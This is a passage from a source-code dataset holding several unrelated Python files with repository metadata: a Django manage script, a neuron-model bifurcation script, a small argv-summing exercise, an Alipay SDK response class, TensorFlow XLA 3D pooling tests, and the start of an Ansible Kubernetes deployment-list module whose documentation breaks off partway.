#!/home/moringa/Documents/roof/venv/bin/python3.6 # -*- coding: utf-8 -*- import re import sys from django.core.management import execute_from_command_line if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0]) sys.exit(execute_from_command_line())
cc965e537aaab0e3ead7413323732bd1789e1d8a
49cb44cfe9b4cd382d8a7d10e1719de69e356ed9
/scripts/ch6/doFindAnronovHopfBifucationPointINapIKLowThreshold.py
de1dca0d51e4920df4c52bdd56e6062cdca36559
[]
no_license
joacorapela/figsResultsAndErrorsFromIzhikevich2007
913a25ff10479b04fa657cea013226766bef730c
2c04cacbaa94485168926ddc7e343207beb033b9
refs/heads/master
2022-01-28T15:26:30.122964
2022-01-21T19:56:52
2022-01-21T19:56:52
150,012,910
2
0
null
null
null
null
UTF-8
Python
false
false
2,280
py
import sys import numpy as np import pdb import matplotlib.pyplot as plt from INapIKModel import INapIKModel def main(argv): i0 = 0 v0 = -70.0 vf = -50.0 dv = 1e-3 deltaAnnotate = 0.3 def i(t): return(i0) iNapIKModel = INapIKModel.getLowThresholdInstance(i=i) vs = np.arange(v0, vf, dv) lambdasCol = np.empty([len(vs),2], dtype=complex) jacobians = [] vsAll = [] nsAll = [] isAll = [] for j in xrange(len(vs)): v = vs[j] n = iNapIKModel._nInf(v=vs[j]) i = iNapIKModel.getIInf(y=(v, n)) vsAll.append(v) nsAll.append(n) isAll.append(i) _, lambdas, jacobian = iNapIKModel.checkStability(v0=v, n0=n) # print(lambdas) lambdasCol[j,:] = lambdas jacobians.append(jacobian) argminEigval0 = np.argmin(np.abs(lambdasCol[:,0].real)) argminEigval1 = np.argmin(np.abs(lambdasCol[:,1].real)) # pdb.set_trace() if argminEigval0!=argminEigval1: raise RuntimeError("Could not find I for which both eigenvalues are zero") print("Andronov-Hopft bifurcation I=%f, V=%f, n=%f"%(isAll[argminEigval0], vsAll[argminEigval0], nsAll[argminEigval0])) print("Jacobian at Andronov-Hopft bifurcation point") print(jacobians[argminEigval0]) print("Eigenvalue0=%f+j%f"%(lambdasCol[argminEigval0,0].real, lambdasCol[argminEigval0,0].imag)) print("Eigenvalue1=%f+j%f"%(lambdasCol[argminEigval1,1].real, lambdasCol[argminEigval1,1].imag)) plt.plot(lambdasCol[:,0].real, lambdasCol[:,1].real) plt.xlabel(r"Real($\lambda_0$)") plt.ylabel(r"Real($\lambda_1$)") plt.annotate('I=%.02f'%isAll[argminEigval0], xy=(lambdasCol[argminEigval0,0].real, lambdasCol[argminEigval0,1].real), xytext=(lambdasCol[argminEigval0,0].real-deltaAnnotate, lambdasCol[argminEigval0,1].real+deltaAnnotate), arrowprops=dict(facecolor='black', shrink=0.05)) plt.grid() plt.show() pdb.set_trace() if __name__ == "__main__": main(sys.argv)
bd196701ca9cec3ecb32a2718c4300597e17e4ad
461d6e951b9904a3248f974842e70b01da464afb
/0x02-python-import_modules/3-infinite_add.py
ed89ea180217ad3aff0375dd7cb083f45dc11bfa
[]
no_license
diego0096/holbertonschool-higher_level_programming
76e27997aabb966488e8610837cbd39b2ee0ac8f
e89de4a988acac492670ada8c9c6d5f5d940a1d2
refs/heads/master
2020-09-29T00:58:11.432351
2020-05-15T02:15:08
2020-05-15T02:15:08
226,907,227
0
0
null
null
null
null
UTF-8
Python
false
false
173
py
#!/usr/bin/python3 if __name__ == "__main__": from sys import argv sum = 0 for c in range(1, len(argv)): sum += int(argv[c]) print("{}".format(sum))
0cc835788b39e16f4c18709bb19ea70716d6eccf
5a52ccea88f90dd4f1acc2819997fce0dd5ffb7d
/alipay/aop/api/response/MybankPaymentTradeNormalpayOrderRefundResponse.py
0704e0638c37464d8e3cb62748e4b75c1470ee65
[ "Apache-2.0" ]
permissive
alipay/alipay-sdk-python-all
8bd20882852ffeb70a6e929038bf88ff1d1eff1c
1fad300587c9e7e099747305ba9077d4cd7afde9
refs/heads/master
2023-08-27T21:35:01.778771
2023-08-23T07:12:26
2023-08-23T07:12:26
133,338,689
247
70
Apache-2.0
2023-04-25T04:54:02
2018-05-14T09:40:54
Python
UTF-8
Python
false
false
1,651
py
#!/usr/bin/env python # -*- coding: utf-8 -*- import json from alipay.aop.api.response.AlipayResponse import AlipayResponse class MybankPaymentTradeNormalpayOrderRefundResponse(AlipayResponse): def __init__(self): super(MybankPaymentTradeNormalpayOrderRefundResponse, self).__init__() self._operate_no = None self._request_accept_time = None self._request_no = None self._retry = None @property def operate_no(self): return self._operate_no @operate_no.setter def operate_no(self, value): self._operate_no = value @property def request_accept_time(self): return self._request_accept_time @request_accept_time.setter def request_accept_time(self, value): self._request_accept_time = value @property def request_no(self): return self._request_no @request_no.setter def request_no(self, value): self._request_no = value @property def retry(self): return self._retry @retry.setter def retry(self, value): self._retry = value def parse_response_content(self, response_content): response = super(MybankPaymentTradeNormalpayOrderRefundResponse, self).parse_response_content(response_content) if 'operate_no' in response: self.operate_no = response['operate_no'] if 'request_accept_time' in response: self.request_accept_time = response['request_accept_time'] if 'request_no' in response: self.request_no = response['request_no'] if 'retry' in response: self.retry = response['retry']
ca0e94353ac689cbcf8766216f229425d21a9263
b5a9d42f7ea5e26cd82b3be2b26c324d5da79ba1
/tensorflow/compiler/tests/pooling_ops_3d_test.py
fff500a9e3c8c90f2c90b7d84f7950a5ba23e306
[ "Apache-2.0" ]
permissive
uve/tensorflow
e48cb29f39ed24ee27e81afd1687960682e1fbef
e08079463bf43e5963acc41da1f57e95603f8080
refs/heads/master
2020-11-29T11:30:40.391232
2020-01-11T13:43:10
2020-01-11T13:43:10
230,088,347
0
0
Apache-2.0
2019-12-25T10:49:15
2019-12-25T10:49:14
null
UTF-8
Python
false
false
15,518
py
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Functional tests for 3d pooling operations.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import numpy as np from tensorflow.compiler.tests import xla_test from tensorflow.python.framework import dtypes from tensorflow.python.framework import ops from tensorflow.python.ops import array_ops from tensorflow.python.ops import gen_nn_ops from tensorflow.python.ops import nn_ops from tensorflow.python.platform import test # Wrapper around AvgPoolGrad that ignores extra arguments needed by # MaxPoolGrad. def _AvgPoolGrad(inputs, outputs, output_gradients, ksize, strides, padding): del outputs # Unused by average-pooling gradients. return gen_nn_ops.avg_pool3d_grad( inputs.get_shape().as_list(), output_gradients, ksize=ksize, strides=strides, padding=padding) class Pooling3DTest(xla_test.XLATestCase): def _VerifyValues(self, pool_func, input_sizes, window, strides, padding, expected): """Verifies the output values of the pooling function. Args: pool_func: Function to be called: co.MaxPool, co.AvgPool. input_sizes: Input tensor dimensions. window: Tuple of kernel dims: planes, rows, cols. strides: Tuple of strides for dims: planes, rows, cols. padding: Padding type. expected: An array containing the expected operation outputs. """ total_size = 1 for s in input_sizes: total_size *= s # Initializes the input tensor with array containing incrementing # numbers from 1. x = np.arange(1.0, total_size + 1, dtype=np.float32) x = x.reshape(input_sizes) with self.session() as sess, self.test_scope(): inputs = array_ops.placeholder(dtypes.float32) t = pool_func( inputs, ksize=[1] + window + [1], strides=[1] + strides + [1], padding=padding) vals = sess.run(t, {inputs: x}) # Verifies values. actual = vals.flatten() self.assertAllClose(expected, actual) def testAvgPool3dValidPadding(self): expected_output = [20.5, 21.5, 22.5] self._VerifyValues( nn_ops.avg_pool3d, input_sizes=[1, 3, 3, 3, 3], window=[2, 2, 2], strides=[2, 2, 2], padding="VALID", expected=expected_output) def testAvgPool3dSamePadding(self): expected_output = [20.5, 21.5, 22.5, 26.5, 27.5, 28.5] self._VerifyValues( nn_ops.avg_pool3d, input_sizes=[1, 2, 2, 4, 3], window=[2, 2, 2], strides=[2, 2, 2], padding="SAME", expected=expected_output) def testAvgPool3dSamePaddingDifferentStrides(self): expected_output = [1.5, 4.5, 7.5, 17.5, 20.5, 23.5, 33.5, 36.5, 39.5] self._VerifyValues( nn_ops.avg_pool3d, input_sizes=[1, 5, 8, 1, 1], window=[1, 2, 3], strides=[2, 3, 1], padding="SAME", expected=expected_output) def testMaxPool3dValidPadding(self): expected_output = [40.0, 41.0, 42.0] self._VerifyValues( nn_ops.max_pool3d, input_sizes=[1, 3, 3, 3, 3], window=[2, 2, 2], strides=[2, 2, 2], padding="VALID", expected=expected_output) def testMaxPool3dSamePadding(self): expected_output = [31., 32., 33., 34., 35., 36.] self._VerifyValues( nn_ops.max_pool3d, input_sizes=[1, 2, 2, 3, 3], window=[2, 2, 2], strides=[2, 2, 2], padding="SAME", expected=expected_output) def testMaxPool3dSamePaddingDifferentStrides(self): expected_output = [2., 5., 8., 18., 21., 24., 34., 37., 40.] self._VerifyValues( nn_ops.max_pool3d, input_sizes=[1, 5, 8, 1, 1], window=[1, 2, 3], strides=[2, 3, 1], padding="SAME", expected=expected_output) # Test pooling on a larger input, with different stride and kernel # size for the 'z' dimension. # Simulate max pooling in numpy to get the expected output. input_data = np.arange(1, 5 * 27 * 27 * 64 + 1).reshape((5, 27, 27, 64)) input_data = np.pad(input_data, [[0, 0], [0, 1], [0, 1], [0, 0]], mode="constant") expected_output = input_data[:, 1::2, 1::2, :] expected_output[:, -1, :, :] = input_data[:, -2, 1::2, :] expected_output[:, :, -1, :] = input_data[:, 1::2, -2, :] expected_output[:, -1, -1, :] = input_data[:, -2, -2, :] self._VerifyValues( nn_ops.max_pool3d, input_sizes=[1, 5, 27, 27, 64], window=[1, 2, 2], strides=[1, 2, 2], padding="SAME", expected=expected_output.flatten()) def testKernelSmallerThanStride(self): self._VerifyValues( nn_ops.max_pool3d, input_sizes=[1, 3, 3, 3, 1], window=[1, 1, 1], strides=[2, 2, 2], padding="SAME", expected=[1, 3, 7, 9, 19, 21, 25, 27]) self._VerifyValues( nn_ops.max_pool3d, input_sizes=[1, 7, 7, 7, 1], window=[2, 2, 2], strides=[3, 3, 3], padding="VALID", expected=[58, 61, 79, 82, 205, 208, 226, 229]) self._VerifyValues( nn_ops.avg_pool3d, input_sizes=[1, 3, 3, 3, 1], window=[1, 1, 1], strides=[2, 2, 2], padding="SAME", expected=[1, 3, 7, 9, 19, 21, 25, 27]) self._VerifyValues( nn_ops.avg_pool3d, input_sizes=[1, 7, 7, 7, 1], window=[2, 2, 2], strides=[3, 3, 3], padding="VALID", expected=[29.5, 32.5, 50.5, 53.5, 176.5, 179.5, 197.5, 200.5]) def _VerifyGradient(self, pool_func, pool_grad_func, input_sizes, ksize, strides, padding, pool_grad_grad_func=None): """Verifies the output values of the pooling gradient function. Args: pool_func: Forward pooling function pool_grad_func: Pooling gradient function for pool_grad_func input_sizes: Input tensor dimensions. ksize: The kernel size dimensions strides: The stride dimensions padding: Padding type. pool_grad_grad_func: Second-order gradient function, if available. """ ksize = [1] + ksize + [1] strides = [1] + strides + [1] total_size = np.prod(input_sizes) x = np.arange(1, total_size + 1, dtype=np.float32).reshape(input_sizes) with self.session() as sess: # Use the forward pool function to compute some corresponding outputs # (needed for the CPU device, and we need the shape in both cases). with ops.device("CPU"): inputs = array_ops.placeholder(dtypes.float32, shape=input_sizes) outputs = pool_func( inputs, ksize=ksize, strides=strides, padding=padding) output_vals = np.array(sess.run(outputs, {inputs: x})) output_gradient_vals = np.arange( 1, output_vals.size + 1, dtype=np.float32) output_gradient_vals = output_gradient_vals.reshape(output_vals.shape) output_grad_grad_vals = np.arange(1, x.size + 1, dtype=np.float32) output_grad_grad_vals = output_grad_grad_vals.reshape(x.shape) # Use the Tensorflow CPU pooling gradient to compute the expected input # gradients. with ops.device("CPU"): output_gradients = array_ops.placeholder( dtypes.float32, shape=output_vals.shape) expected_input_gradients = pool_grad_func( inputs, outputs, output_gradients, ksize=ksize, strides=strides, padding=padding) expected_input_gradient_vals = sess.run( expected_input_gradients, {inputs: x, output_gradients: output_gradient_vals}) output_grad_gradients = array_ops.placeholder( dtypes.float32, shape=expected_input_gradient_vals.shape) if pool_grad_grad_func is not None: expected_grad_gradients = pool_grad_grad_func( inputs, outputs, output_grad_gradients, ksize=ksize, strides=strides, padding=padding, data_format="NDHWC") expected_grad_gradients_vals = sess.run(expected_grad_gradients, { inputs: x, output_grad_gradients: output_grad_grad_vals }) # Run the gradient op on the XLA device with self.test_scope(): outputs = array_ops.placeholder(dtypes.float32, shape=output_vals.shape) actual_input_gradients = pool_grad_func( inputs, outputs, output_gradients, ksize=ksize, strides=strides, padding=padding) if pool_grad_grad_func is not None: actual_grad_gradients = pool_grad_grad_func( inputs, outputs, output_grad_gradients, ksize=ksize, strides=strides, padding=padding, data_format="NDHWC") actual = sess.run(actual_input_gradients, { inputs: x, outputs: output_vals, output_gradients: output_gradient_vals }) # Compare the Tensorflow and XLA results. self.assertAllClose( expected_input_gradient_vals.flatten(), actual.flatten(), rtol=1e-5, atol=1e-6) self.assertShapeEqual(actual, inputs) if pool_grad_grad_func is not None: actual_grad_gradients_vals = sess.run( actual_grad_gradients, { inputs: x, outputs: output_vals, output_grad_gradients: output_grad_grad_vals }) # Compare the Tensorflow and XLA results. self.assertAllClose( expected_grad_gradients_vals, actual_grad_gradients_vals, rtol=1e-4, atol=1e-6) self.assertShapeEqual(actual_grad_gradients_vals, outputs) def testMaxPoolGradValidPadding1_1_3d(self): self._VerifyGradient( nn_ops.max_pool3d, gen_nn_ops.max_pool3d_grad, input_sizes=[1, 3, 3, 3, 1], ksize=[1, 1, 1], strides=[1, 1, 1], padding="VALID", pool_grad_grad_func=gen_nn_ops.max_pool3d_grad_grad) def testMaxPoolGradValidPadding2_1_6_3d(self): self._VerifyGradient( nn_ops.max_pool3d, gen_nn_ops.max_pool3d_grad, input_sizes=[2, 3, 3, 6, 3], ksize=[2, 2, 2], strides=[1, 1, 1], padding="VALID", pool_grad_grad_func=gen_nn_ops.max_pool3d_grad_grad) def testMaxPoolGradValidPadding2_1_7_3d(self): # TODO(b/73062247): the bfloat16 implementation of MaxPool3DGradGrad does # not have enough precision for this test case to pass if # pool_grad_grad_func is passed. self._VerifyGradient( nn_ops.max_pool3d, gen_nn_ops.max_pool3d_grad, input_sizes=[2, 3, 5, 7, 3], ksize=[2, 2, 2], strides=[1, 1, 1], padding="VALID") def testMaxPoolGradValidPadding2_2_3d(self): self._VerifyGradient( nn_ops.max_pool3d, gen_nn_ops.max_pool3d_grad, input_sizes=[2, 2, 2, 2, 3], ksize=[2, 2, 2], strides=[2, 2, 2], padding="VALID", pool_grad_grad_func=gen_nn_ops.max_pool3d_grad_grad) def testMaxPoolGradSamePadding1_1_3d(self): self._VerifyGradient( nn_ops.max_pool3d, gen_nn_ops.max_pool3d_grad, input_sizes=[2, 3, 2, 4, 1], ksize=[1, 1, 1], strides=[1, 1, 1], padding="SAME", pool_grad_grad_func=gen_nn_ops.max_pool3d_grad_grad) def testMaxPoolGradSamePadding2_1_3d(self): self._VerifyGradient( nn_ops.max_pool3d, gen_nn_ops.max_pool3d_grad, input_sizes=[2, 3, 2, 4, 1], ksize=[2, 2, 2], strides=[1, 1, 1], padding="SAME", pool_grad_grad_func=gen_nn_ops.max_pool3d_grad_grad) def testMaxPoolGradSamePadding2_2_3d(self): self._VerifyGradient( nn_ops.max_pool3d, gen_nn_ops.max_pool3d_grad, input_sizes=[2, 5, 2, 4, 3], ksize=[2, 2, 2], strides=[2, 2, 2], padding="SAME", pool_grad_grad_func=gen_nn_ops.max_pool3d_grad_grad) def testMaxPoolGradSamePadding3_1_3d(self): self._VerifyGradient( nn_ops.max_pool3d, gen_nn_ops.max_pool3d_grad, input_sizes=[1, 3, 3, 7, 1], ksize=[3, 3, 3], strides=[1, 1, 1], padding="SAME", pool_grad_grad_func=gen_nn_ops.max_pool3d_grad_grad) def testAvgPoolGradValidPadding1_1_3d(self): self._VerifyGradient( nn_ops.avg_pool3d, _AvgPoolGrad, input_sizes=[2, 3, 3, 3, 3], ksize=[1, 1, 1], strides=[1, 1, 1], padding="VALID") def testAvgPoolGradValidPadding2_1_3d(self): self._VerifyGradient( nn_ops.avg_pool3d, _AvgPoolGrad, input_sizes=[2, 3, 3, 3, 3], ksize=[2, 2, 2], strides=[1, 1, 1], padding="VALID") def testAvgPoolGradValidPadding2_2_3d(self): self._VerifyGradient( nn_ops.avg_pool3d, _AvgPoolGrad, input_sizes=[2, 2, 2, 2, 3], ksize=[2, 2, 2], strides=[2, 2, 2], padding="VALID") def testAvgPoolGradSamePadding1_1_3d(self): self._VerifyGradient( nn_ops.avg_pool3d, _AvgPoolGrad, input_sizes=[2, 3, 2, 4, 3], ksize=[1, 1, 1], strides=[1, 1, 1], padding="SAME") def testAvgPoolGradSamePadding2_1_3d(self): self._VerifyGradient( nn_ops.avg_pool3d, _AvgPoolGrad, input_sizes=[1, 2, 2, 2, 1], ksize=[2, 2, 2], strides=[1, 1, 1], padding="SAME") def testAvgPoolGradSamePadding2_2_3d(self): self._VerifyGradient( nn_ops.avg_pool3d, _AvgPoolGrad, input_sizes=[2, 5, 2, 4, 3], ksize=[2, 2, 2], strides=[2, 2, 2], padding="SAME") def testAvgPoolGradSamePadding3_1_3d(self): self._VerifyGradient( nn_ops.avg_pool3d, _AvgPoolGrad, input_sizes=[1, 3, 6, 7, 1], ksize=[3, 3, 3], strides=[1, 1, 1], padding="SAME") if __name__ == "__main__": test.main()
9798e07455813c5b3bd72e88fdfab5132f8f6ed5
a73d3d3851a738e1bbdd84ce4c6e10112b6bb852
/ansible-container/openshift-deploy/roles/ansible.kubernetes-modules/library/k8s_v1beta1_deployment_list.py
7fdc9a97da81830af835e06fd4810d2a9313ad09
[ "Apache-2.0", "Beerware" ]
permissive
LeHack/Docker-network-research
39d8b8d7ae511a2a12ac56b76282cb4e2d1449b2
62a57a6d723d8701a6d045a07a5abd2bd844a409
refs/heads/master
2021-01-21T20:47:18.818031
2017-06-03T20:06:29
2017-06-03T20:06:29
92,281,052
4
0
null
null
null
null
UTF-8
Python
false
false
126,033
py
#!/usr/bin/env python from ansible.module_utils.k8s_common import KubernetesAnsibleModule, KubernetesAnsibleException DOCUMENTATION = ''' module: k8s_v1beta1_deployment_list short_description: Kubernetes DeploymentList description: - Retrieve a list of deployments. List operations provide a snapshot read of the underlying objects, returning a resource_version representing a consistent version of the listed objects. version_added: 2.3.0 author: OpenShift (@openshift) options: api_key: description: - Token used to connect to the API. cert_file: description: - Path to a certificate used to authenticate with the API. type: path context: description: - The name of a context found in the Kubernetes config file. debug: description: - Enable debug output from the OpenShift helper. Logging info is written to KubeObjHelper.log default: false type: bool force: description: - If set to C(True), and I(state) is C(present), an existing object will updated, and lists will be replaced, rather than merged. default: false type: bool host: description: - Provide a URL for acessing the Kubernetes API. key_file: description: - Path to a key file used to authenticate with the API. type: path kubeconfig: description: - Path to an existing Kubernetes config file. If not provided, and no other connection options are provided, the openshift client will attempt to load the default configuration file from I(~/.kube/config.json). type: path namespace: description: - Namespaces provide a scope for names. Names of resources need to be unique within a namespace, but not across namespaces. Provide the namespace for the object. password: description: - Provide a password for connecting to the API. Use in conjunction with I(username). resource_definition: description: - Provide the YAML definition for the object, bypassing any modules parameters intended to define object attributes. type: dict src: description: - Provide a path to a file containing the YAML definition of the object. Mutually exclusive with I(resource_definition). type: path ssl_ca_cert: description: - Path to a CA certificate used to authenticate with the API. type: path state: description: - Determines if an object should be created, patched, or deleted. When set to C(present), the object will be created, if it does not exist, or patched, if parameter values differ from the existing object's attributes, and deleted, if set to C(absent). A patch operation results in merging lists and updating dictionaries, with lists being merged into a unique set of values. If a list contains a dictionary with a I(name) or I(type) attribute, a strategic merge is performed, where individual elements with a matching I(name_) or I(type) are merged. To force the replacement of lists, set the I(force) option to C(True). default: present choices: - present - absent username: description: - Provide a username for connecting to the API. verify_ssl: description: - Whether or not to verify the API server's SSL certificates. type: bool requirements: - kubernetes == 1.0.0 ''' EXAMPLES = ''' ''' RETURN = ''' api_version: type: string description: Requested API version deployment_list: type: complex returned: when I(state) = C(present) contains: api_version: description: - APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. type: str items: description: - Items is the list of Deployments. type: list contains: api_version: description: - APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. type: str kind: description: - Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. type: str metadata: description: - Standard object metadata. type: complex contains: annotations: description: - Annotations is an unstructured key value map stored with a resource that may be set by external tools to store and retrieve arbitrary metadata. They are not queryable and should be preserved when modifying objects. type: complex contains: str, str cluster_name: description: - The name of the cluster which the object belongs to. This is used to distinguish resources with same name and namespace in different clusters. This field is not set anywhere right now and apiserver is going to ignore it if set in create or update request. type: str creation_timestamp: description: - CreationTimestamp is a timestamp representing the server time when this object was created. It is not guaranteed to be set in happens-before order across separate operations. Clients may not set this value. It is represented in RFC3339 form and is in UTC. Populated by the system. Read-only. Null for lists. type: complex contains: {} deletion_grace_period_seconds: description: - Number of seconds allowed for this object to gracefully terminate before it will be removed from the system. Only set when deletionTimestamp is also set. May only be shortened. Read-only. type: int deletion_timestamp: description: - DeletionTimestamp is RFC 3339 date and time at which this resource will be deleted. This field is set by the server when a graceful deletion is requested by the user, and is not directly settable by a client. The resource is expected to be deleted (no longer visible from resource lists, and not reachable by name) after the time in this field. Once set, this value may not be unset or be set further into the future, although it may be shortened or the resource may be deleted prior to this time. For example, a user may request that a pod is deleted in 30 seconds. The Kubelet will react by sending a graceful termination signal to the containers in the pod. After that 30 seconds, the Kubelet will send a hard termination signal (SIGKILL) to the container and after cleanup, remove the pod from the API. In the presence of network partitions, this object may still exist after this timestamp, until an administrator or automated process can determine the resource is fully terminated. If not set, graceful deletion of the object has not been requested. Populated by the system when a graceful deletion is requested. Read-only. type: complex contains: {} finalizers: description: - Must be empty before the object is deleted from the registry. Each entry is an identifier for the responsible component that will remove the entry from the list. If the deletionTimestamp of the object is non-nil, entries in this list can only be removed. type: list contains: str generate_name: description: - GenerateName is an optional prefix, used by the server, to generate a unique name ONLY IF the Name field has not been provided. If this field is used, the name returned to the client will be different than the name passed. This value will also be combined with a unique suffix. The provided value has the same validation rules as the Name field, and may be truncated by the length of the suffix required to make the value unique on the server. If this field is specified and the generated name exists, the server will NOT return a 409 - instead, it will either return 201 Created or 500 with Reason ServerTimeout indicating a unique name could not be found in the time allotted, and the client should retry (optionally after the time indicated in the Retry-After header). Applied only if Name is not specified. type: str generation: description: - A sequence number representing a specific generation of the desired state. Populated by the system. Read-only. type: int labels: description: - Map of string keys and values that can be used to organize and categorize (scope and select) objects. May match selectors of replication controllers and services. type: complex contains: str, str name: description: - Name must be unique within a namespace. Is required when creating resources, although some resources may allow a client to request the generation of an appropriate name automatically. Name is primarily intended for creation idempotence and configuration definition. Cannot be updated. type: str namespace: description: - Namespace defines the space within each name must be unique. An empty namespace is equivalent to the "default" namespace, but "default" is the canonical representation. Not all objects are required to be scoped to a namespace - the value of this field for those objects will be empty. Must be a DNS_LABEL. Cannot be updated. type: str owner_references: description: - List of objects depended by this object. If ALL objects in the list have been deleted, this object will be garbage collected. If this object is managed by a controller, then an entry in this list will point to this controller, with the controller field set to true. There cannot be more than one managing controller. type: list contains: api_version: description: - API version of the referent. type: str controller: description: - If true, this reference points to the managing controller. type: bool kind: description: - Kind of the referent. type: str name: description: - Name of the referent. type: str uid: description: - UID of the referent. type: str resource_version: description: - An opaque value that represents the internal version of this object that can be used by clients to determine when objects have changed. May be used for optimistic concurrency, change detection, and the watch operation on a resource or set of resources. Clients must treat these values as opaque and passed unmodified back to the server. They may only be valid for a particular resource or set of resources. Populated by the system. Read-only. Value must be treated as opaque by clients and . type: str self_link: description: - SelfLink is a URL representing this object. Populated by the system. Read-only. type: str uid: description: - UID is the unique in time and space value for this object. It is typically generated by the server on successful creation of a resource and is not allowed to change on PUT operations. Populated by the system. Read-only. type: str spec: description: - Specification of the desired behavior of the Deployment. type: complex contains: min_ready_seconds: description: - Minimum number of seconds for which a newly created pod should be ready without any of its container crashing, for it to be considered available. Defaults to 0 (pod will be considered available as soon as it is ready) type: int paused: description: - Indicates that the deployment is paused and will not be processed by the deployment controller. type: bool progress_deadline_seconds: description: - The maximum time in seconds for a deployment to make progress before it is considered to be failed. The deployment controller will continue to process failed deployments and a condition with a ProgressDeadlineExceeded reason will be surfaced in the deployment status. Once autoRollback is implemented, the deployment controller will automatically rollback failed deployments. Note that progress will not be estimated during the time a deployment is paused. This is not set by default. type: int replicas: description: - Number of desired pods. This is a pointer to distinguish between explicit zero and not specified. Defaults to 1. type: int revision_history_limit: description: - The number of old ReplicaSets to retain to allow rollback. This is a pointer to distinguish between explicit zero and not specified. type: int rollback_to: description: - The config this deployment is rolling back to. Will be cleared after rollback is done. type: complex contains: revision: description: - The revision to rollback to. If set to 0, rollbck to the last revision. type: int selector: description: - Label selector for pods. Existing ReplicaSets whose pods are selected by this will be the ones affected by this deployment. type: complex contains: match_expressions: description: - matchExpressions is a list of label selector requirements. The requirements are ANDed. type: list contains: key: description: - key is the label key that the selector applies to. type: str operator: description: - operator represents a key's relationship to a set of values. Valid operators ard In, NotIn, Exists and DoesNotExist. type: str values: description: - values is an array of string values. If the operator is In or NotIn, the values array must be non-empty. If the operator is Exists or DoesNotExist, the values array must be empty. This array is replaced during a strategic merge patch. type: list contains: str match_labels: description: - matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels map is equivalent to an element of matchExpressions, whose key field is "key", the operator is "In", and the values array contains only "value". The requirements are ANDed. type: complex contains: str, str strategy: description: - The deployment strategy to use to replace existing pods with new ones. type: complex contains: rolling_update: description: - Rolling update config params. Present only if DeploymentStrategyType = RollingUpdate. type: complex contains: max_surge: description: - 'The maximum number of pods that can be scheduled above the desired number of pods. Value can be an absolute number (ex: 5) or a percentage of desired pods (ex: 10%). This can not be 0 if MaxUnavailable is 0. Absolute number is calculated from percentage by rounding up. By default, a value of 1 is used. Example: when this is set to 30%, the new RC can be scaled up immediately when the rolling update starts, such that the total number of old and new pods do not exceed 130% of desired pods. Once old pods have been killed, new RC can be scaled up further, ensuring that total number of pods running at any time during the update is atmost 130% of desired pods.' type: complex contains: {} max_unavailable: description: - 'The maximum number of pods that can be unavailable during the update. Value can be an absolute number (ex: 5) or a percentage of desired pods (ex: 10%). Absolute number is calculated from percentage by rounding up. This can not be 0 if MaxSurge is 0. By default, a fixed value of 1 is used. Example: when this is set to 30%, the old RC can be scaled down to 70% of desired pods immediately when the rolling update starts. Once new pods are ready, old RC can be scaled down further, followed by scaling up the new RC, ensuring that the total number of pods available at all times during the update is at least 70% of desired pods.' type: complex contains: {} type: description: - Type of deployment. Can be "Recreate" or "RollingUpdate". Default is RollingUpdate. type: str template: description: - Template describes the pods that will be created. type: complex contains: metadata: description: - Standard object's metadata. type: complex contains: annotations: description: - Annotations is an unstructured key value map stored with a resource that may be set by external tools to store and retrieve arbitrary metadata. They are not queryable and should be preserved when modifying objects. type: complex contains: str, str cluster_name: description: - The name of the cluster which the object belongs to. This is used to distinguish resources with same name and namespace in different clusters. This field is not set anywhere right now and apiserver is going to ignore it if set in create or update request. type: str creation_timestamp: description: - CreationTimestamp is a timestamp representing the server time when this object was created. It is not guaranteed to be set in happens-before order across separate operations. Clients may not set this value. It is represented in RFC3339 form and is in UTC. Populated by the system. Read-only. Null for lists. type: complex contains: {} deletion_grace_period_seconds: description: - Number of seconds allowed for this object to gracefully terminate before it will be removed from the system. Only set when deletionTimestamp is also set. May only be shortened. Read-only. type: int deletion_timestamp: description: - DeletionTimestamp is RFC 3339 date and time at which this resource will be deleted. This field is set by the server when a graceful deletion is requested by the user, and is not directly settable by a client. The resource is expected to be deleted (no longer visible from resource lists, and not reachable by name) after the time in this field. Once set, this value may not be unset or be set further into the future, although it may be shortened or the resource may be deleted prior to this time. For example, a user may request that a pod is deleted in 30 seconds. The Kubelet will react by sending a graceful termination signal to the containers in the pod. After that 30 seconds, the Kubelet will send a hard termination signal (SIGKILL) to the container and after cleanup, remove the pod from the API. In the presence of network partitions, this object may still exist after this timestamp, until an administrator or automated process can determine the resource is fully terminated. If not set, graceful deletion of the object has not been requested. Populated by the system when a graceful deletion is requested. Read-only. type: complex contains: {} finalizers: description: - Must be empty before the object is deleted from the registry. Each entry is an identifier for the responsible component that will remove the entry from the list. If the deletionTimestamp of the object is non-nil, entries in this list can only be removed. type: list contains: str generate_name: description: - GenerateName is an optional prefix, used by the server, to generate a unique name ONLY IF the Name field has not been provided. If this field is used, the name returned to the client will be different than the name passed. This value will also be combined with a unique suffix. The provided value has the same validation rules as the Name field, and may be truncated by the length of the suffix required to make the value unique on the server. If this field is specified and the generated name exists, the server will NOT return a 409 - instead, it will either return 201 Created or 500 with Reason ServerTimeout indicating a unique name could not be found in the time allotted, and the client should retry (optionally after the time indicated in the Retry-After header). Applied only if Name is not specified. type: str generation: description: - A sequence number representing a specific generation of the desired state. Populated by the system. Read-only. type: int labels: description: - Map of string keys and values that can be used to organize and categorize (scope and select) objects. May match selectors of replication controllers and services. type: complex contains: str, str name: description: - Name must be unique within a namespace. Is required when creating resources, although some resources may allow a client to request the generation of an appropriate name automatically. Name is primarily intended for creation idempotence and configuration definition. Cannot be updated. type: str namespace: description: - Namespace defines the space within each name must be unique. An empty namespace is equivalent to the "default" namespace, but "default" is the canonical representation. Not all objects are required to be scoped to a namespace - the value of this field for those objects will be empty. Must be a DNS_LABEL. Cannot be updated. type: str owner_references: description: - List of objects depended by this object. If ALL objects in the list have been deleted, this object will be 